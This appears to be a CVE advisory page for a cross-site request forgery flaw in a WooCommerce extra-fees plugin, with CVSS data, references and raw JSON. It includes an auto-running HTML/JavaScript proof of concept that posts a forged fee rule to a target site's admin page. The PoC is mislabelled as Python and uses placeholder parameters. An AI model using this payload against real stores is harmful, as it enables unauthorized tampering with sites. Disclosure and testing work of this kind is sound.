CVE-2026-39671

Description

Cross-Site Request Forgery (CSRF) vulnerability in Dotstore Extra Fees Plugin for WooCommerce woo-conditional-product-fees-for-checkout allows Cross Site Request Forgery.This issue affects Extra Fees Plugin for WooCommerce: from n/a through <= 4.3.3.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H

Configurations (Affected Products)

No configuration data available.

Extra Fees Plugin for WooCommerce <= 4.3.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<html>
<!-- CSRF PoC for CVE-2026-39671 -->
<body>
  <script>
    // Function to submit the form automatically
    function submitRequest() {
      var xhr = new XMLHttpRequest();
      xhr.open("POST", "https://target-site.com/wp-admin/admin.php?page=wc_conditional_product_fees", true);
      xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

      // Payload to create a malicious fee rule (example parameters)
      var params = "fee_name=HackedFee&fee_amount=999&fee_status=active&action=save";

      xhr.send(params);
    }

    // Execute on load, simulating user interaction requirement (UI:R)
    window.onload = function() {
      alert("CSRF Attack Simulation: Click OK to trigger.");
      submitRequest();
    };
  </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39671
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39671
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39671/
[4] VulDB https://vuldb.com/cve/CVE-2026-39671
[5] https://patchstack.com/database/Wordpress/Plugin/woo-conditional-product-fees-for-checkout/vulnerability/wordpress-extra-fees-plugin-for-woocommerce-plugin-4-3-3-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39671", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:38.553", "lastModified": "2026-04-29T10:17:38.417", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Dotstore Extra Fees Plugin for WooCommerce woo-conditional-product-fees-for-checkout allows Cross Site Request Forgery.This issue affects Extra Fees Plugin for WooCommerce: from n/a through <= 4.3.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woo-conditional-product-fees-for-checkout/vulnerability/wordpress-extra-fees-plugin-for-woocommerce-plugin-4-3-3-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}